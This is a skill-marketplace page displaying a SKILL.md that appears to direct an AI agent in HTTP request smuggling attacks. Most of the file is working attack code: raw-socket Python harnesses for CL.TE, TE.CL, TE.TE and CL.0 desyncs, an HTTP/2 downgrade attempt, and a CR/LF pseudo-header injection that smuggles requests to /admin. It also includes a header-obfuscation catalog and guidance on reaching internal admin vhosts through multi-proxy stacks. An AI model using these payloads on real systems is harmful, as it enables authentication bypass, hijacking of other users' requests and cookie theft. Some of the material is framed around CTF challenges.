Skip to main content

smuggling

HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٢ يونيو ٢٠٢٦ في ٢١:٠٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٢٢
التفرعات
١٬٠٤٨

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
smuggling
description
HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"HTTP request smuggling, HRS, request smuggling, desync, CL.TE, TE.CL, TE.TE, h2.cl, h2.te, HTTP/2 downgrade, HTTP downgrade, h2c smuggling, pipelining, header folding, content-length transfer-encoding mismatch, frontend backend disagreement, multi-proxy stack, CDN frontend, reverse proxy, smuggling_desync challenge tag, hrs"}
# HTTP Request Smuggling (Desync) Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes. ## When This Skill Is Primary HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. **When `smuggling_desync` (or `request_smuggling` / `hrs` / `desync`) co-occurs with credential-related tags (`default_credentials`, `jwt`, `weak_password`), smuggling IS the primary attack vector.** Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE. Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (`test:test`, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on `admin:*` brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request. The same logic applies when `smuggling_desync` co-occurs with `cve` (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below). ## Recognition Signals Trigger this skill when ANY of the following are present: - **Multi-proxy stack visible**: two `Server:` strings across responses (e.g. `cloudflare` then `gunicorn`); `Via:` header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly). - **Differential 400/501** when sending duplicate/obfuscated `Transfer-Encoding` or `Content-Length` headers (one path 200, another 400/501). - **HTTP/2 frontend** with HTTP/1.1 backend (`alt-svc: h2`, `:status` pseudo-header, `HTTP/2` ALPN). Downgrades are the modern smuggling surface. - **Pipelining differences**: connection reused across requests with inconsistent framing. - **Challenge tag** includes `smuggling_desync`, `request_smuggling`, `hrs`, `desync`, or recon's "Frontend behavior" line says "frontend forwards malformed framing". - **Recon handoff** notes that the same payload yields different status codes when sent to different proxy hops or with different framing. ## Confirm-Desync Gate **STOP**. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer. ```bash timeout 60 python3 -u -c ' import socket, sys HOST, PORT = "<TARGET>", 443 # use 80 for plain HTTP USE_TLS = (PORT == 443) # CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding. # A real desync makes the back-end park "X" as the start of the NEXT request on this socket. smuggle = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 6\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "X" # the smuggled prefix ) victim = ( "GET / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "\r\n" ) s = socket.create_connection((HOST, PORT), timeout=5) if USE_TLS: import ssl s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST) s.settimeout(5) s.sendall(smuggle.encode() + victim.encode()) buf = b"" try: while True: chunk = s.recv(4096) if not chunk: break buf += chunk if len(buf) > 16384: break except socket.timeout: pass finally: s.close() # Desync signal: victim request fails with 400/405 because "XGET" landed at backend. # Baseline GET / on the same target returns 200 — so 400/405 here is the smoke. sys.stdout.write(buf[:2048].decode(errors="replace")) sys.stdout.flush() ' 2>&1 | tee smuggle_gate.txt ``` **Pass criteria** (any one): - Second response shows `400 Bad Request` containing `XGET` / `Invalid method` / `bad request line`. - Connection closes after the first response with the second never sent (back-end ate the smuggled bytes). - Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped. If gate FAILS (no pass criteria met before the harness's outer `timeout` fires): do NOT iterate variants. Hand back to recon with "no desync confirmed despite differential parsing — multi-proxy stack may not exist on this path". If gate PASSES: continue to the variant catalog with the same connection-pinning style. ## Variant Catalog Each variant is a single in-file Python harness. Always: - `sock.settimeout(<bounded>)` BEFORE `connect` AND before each `recv`. - Outer wall: `timeout <bounded> python3 -u -c '...'` (the gate may need a longer wall than per-variant iteration). - `python3 -u` for line-buffered stdout (or `sys.stdout.flush()`). - Bounded `recv` loop (max ~16 KB or break on empty). - ONE socket per variant; close it in `finally`. ### CL.TE (front=CL, back=TE) Front-end honors `Content-Length`, back-end honors `Transfer-Encoding: chunked`. Smuggle the prefix in the chunked body's terminating `0\r\n\r\n` overflow. ```python # timeout 30 python3 -u -c '...' import socket, ssl HOST, PORT, USE_TLS = "<TARGET>", 443, True req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 13\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GPOST / HTTP/1.1\r\n" ) s = socket.create_connection((HOST, PORT), timeout=5) if USE_TLS: s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST) s.settimeout(5) s.sendall(req.encode()) print(s.recv(4096).decode(errors="replace")) s.close() ``` ### TE.CL (front=TE, back=CL) Front-end uses chunked, back-end uses `Content-Length`. The chunked size declaration smuggles past the back-end's CL boundary. ```python body_smuggled = "GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" chunk_size = format(len(body_smuggled), "x") req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" f"Content-Length: {len(chunk_size) + 2 + 2}\r\n" # only the chunk-size line + CRLF + 0\r\n "Transfer-Encoding: chunked\r\n" "\r\n" f"{chunk_size}\r\n" f"{body_smuggled}" "0\r\n" "\r\n" ) ``` ### TE.TE — Header Obfuscation Catalog Both proxies process `Transfer-Encoding`, but only one is fooled by an obfuscated header. Send TWO `TE` headers; if one parser accepts one and rejects the other, you get desync. | Obfuscation | Example header line | |-------------|--------------------| | Duplicate header | `Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked` | | Space prefix | ` Transfer-Encoding: chunked` (leading SP) | | Tab prefix | `\tTransfer-Encoding: chunked` | | Mixed case | `Transfer-encoding: ChUnKeD` | | Trailing whitespace | `Transfer-Encoding : chunked` (SP before colon) | | Header folding (obsolete) | `Transfer-Encoding:\r\n chunked` (continuation line) | | Bogus value + valid | `Transfer-Encoding: cow\r\nTransfer-Encoding: chunked` | | Vertical tab | `Transfer-Encoding:\x0bchunked` | ```python # Example: duplicate-header TE.TE req = ( "POST / HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 4\r\n" "Transfer-Encoding: chunked\r\n" "Transfer-Encoding: cow\r\n" # second TE confuses one of the two parsers "\r\n" "5c\r\nGPOST / HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" "0\r\n\r\n" ) ``` ### CL.0 Back-end ignores `Content-Length` on certain methods/paths (treats them as `CL: 0`). Front-end forwards the body, back-end parses it as the next request. Common against static-asset paths or `OPTIONS` handlers. ```python req = ( "POST /static/foo.css HTTP/1.1\r\n" "Host: <TARGET>\r\n" "Content-Length: 38\r\n" "\r\n" "GET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n" ) ``` ### HTTP/2 Downgrade (h2.cl, h2.te) Front-end speaks HTTP/2, back-end speaks HTTP/1.1. The h2→h1 downgrader translates pseudo-headers and may forward `:method`, `:path`, and arbitrary header bytes (including CR/LF) into a back-end request line. Two flavors: - **h2.cl** — h2 request carries an explicit `content-length` longer/shorter than the data frame; downgrader forwards the declared CL, back-end mis-frames. - **h2.te** — h2 request carries `transfer-encoding: chunked`; some downgraders forward the header verbatim, the back-end then chunks while the front-end already CL-framed. Use a real h2 client (`hyper`, `h2`, `httpx[http2]`) — raw sockets are too painful here. Keep the same timeout discipline. ```python # pip install httpx h2 import httpx client = httpx.Client(http2=True, timeout=5.0, verify=True) # h2.te smuggle attempt r = client.post( "https://<TARGET>/", headers={"transfer-encoding": "chunked"}, content=b"0\r\n\r\nSMUGGLED PREFIX", ) print(r.status_code, r.headers.get("server"), r.text[:300]) ``` ### CR/LF Injection in HTTP/2 Pseudo-Headers If the downgrader does not strip CR/LF inside `:path` or other pseudo-header values, you can inject a full second request: ```python r = client.get( "https://<TARGET>/", headers={":path": "/x\r\nHost: evil\r\n\r\nGET /admin HTTP/1.1\r\nHost: <TARGET>\r\n\r\n"}, ) ``` Most h2 client libraries refuse to send CR/LF in pseudo-headers — you may need to monkeypatch the validator or drop to a low-level frame builder (`hyperframe`). ### Pipelining When a connection is keep-alive and the front-end forwards multiple requests on it, classic CL/TE confusion smuggles the SECOND request on the wire. The gate above is already a pipelining probe. ### Connection-State Pinning Some intermediaries pin the (frontend → backend) socket per first-Host-header. Smuggling a `Host: internal` prefix can rewrite which back-end vhost subsequent victim requests reach. Test by smuggling `Host: admin.<target>` and checking whether subsequent baseline requests now route there. ### Triple-tier (3+ proxy) desync matrix Production stacks rarely have just front/back. Typical chains: `CDN → WAF → LB → origin`, `MITM/observability proxy → reverse-proxy → app-server → app`, `cloud LB → ingress → service mesh → pod`. With N proxies in series there are N-1 hop boundaries, and **every hop boundary is a potential desync point** with its own parser-pair semantics. A payload that "doesn't work" on the outermost pair may smuggle perfectly across an inner pair. **Enumerate the chain first.** Tier identification is recon: response headers (`Via:`, `Server:`, `X-Forwarded-*`, `X-Cache:`, `X-Proxy-*`, repeated/duplicated values), behavioral fingerprints (which tier returns 4xx on which malformed input), timing (each hop adds latency), and source-disclosure paths in the engagement. Map the chain top-down before crafting payloads: | Step | Probe | What you learn | |------|-------|----------------| | 1 | `curl -sv <TARGET>/` 2>&1 \| grep -iE '^(server\|via\|x-)' | First-line tier (front-most CDN/WAF/MITM banner) | | 2 | Send a known-bad path → which tier 4xx's | Each tier's error fingerprint (HTML template, 4xx code shape) | | 3 | Send oversized header → which tier truncates / 431s | Buffer limits per tier (helps frame payload size) | | 4 | Send malformed TE / duplicate-CL → which tier errors WITH WHICH BODY | Reveals the parser strictness of EACH tier independently | | 5 | Send `OPTIONS *` → who answers | Reveals the back-most tier that responds, vs intermediates that proxy | Once you have N tiers, enumerate the N-1 desync targets: ``` T1 → T2 → T3 → T4 (origin) ^^^^^^^^ = pair AB: CL.TE / TE.CL / TE.TE matrix ^^^^^^^^ = pair BC: same matrix, different parsers ^^^^^^^^ = pair CD: same matrix, often differs again ``` **Probing each hop-boundary** — the same per-variant Python harness works, but you target a specific pair by exploiting that pair's parser asymmetry. Practical guidance: 1. **Start with the back-most pair you can prove was reached** (e.g. pair CD origin-adjacent). If you can smuggle to origin, you bypass every tier above without needing front-pair desync. Probe: smuggle a request whose response body is *visibly different from what the outer tiers would emit* (an internal vhost banner, an internal-only path served by origin). If the smuggled response surfaces, that pair desyncs. 2. **If origin-adjacent pair is locked** (modern app servers like nginx + apache often refuse CL+TE outright), walk OUTWARD one pair at a time. Each pair retains its own parser quirks regardless of upstream/downstream rigor — a strict origin can sit behind a tolerant MITM tier that desyncs the LB↔app boundary. 3. **Probe-pair-isolation trick**: send the same payload over a fresh TCP connection vs an existing keep-alive connection. If the keep-alive run yields a different response on the *second* request, the desync poisoned the back-end socket — that confirms an inner pair desyncs (the outer pair faithfully forwarded). New TCP shows the OUTER pair's behavior; reused connection shows the INNER pair behavior. 4. **`Via` header inversion**: if responses contain `Via: <tier-A>, <tier-B>` (typical of CDN+LB), smuggling that successfully bypasses tier-A will produce responses with `Via: <tier-B>` only (because tier-A never saw the smuggled inner request). Use the SHAPE of the `Via:` chain on a smuggled response vs a baseline response to confirm which pair was crossed. 5. **Triple-tier `Host` smuggle** (the common-stack admin-vhost win): when the chain is `MITM → LB(host-routing) → origin(vhost)` and LB chooses backend by `Host:` header, smuggling a fresh `Host: internal-admin.<target>` line in the inner request makes the LB route to an internal vhost the outer client could never reach. The two desync pairs you can use: - **Outer-pair desync** (MITM↔LB): inject the inner request past MITM so LB sees a new request with the attacker's `Host:`. Pair AB matrix from above. - **Inner-pair desync** (LB↔origin): keep MITM and LB in sync but desync at LB↔origin so origin processes a smuggled request with a different `Host:` than LB used for routing. Less common; signature is "LB-side ACL passed but origin served a different vhost's content." **Anti-pattern**: assuming the chain is 2-tier and iterating CL.TE / TE.CL endlessly against the outer pair when the desync surface is actually 2 hops inward. If 8+ outer-pair variants produce no response divergence, the outer pair is rigid — STOP and shift focus inward via the probe ladder above.
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub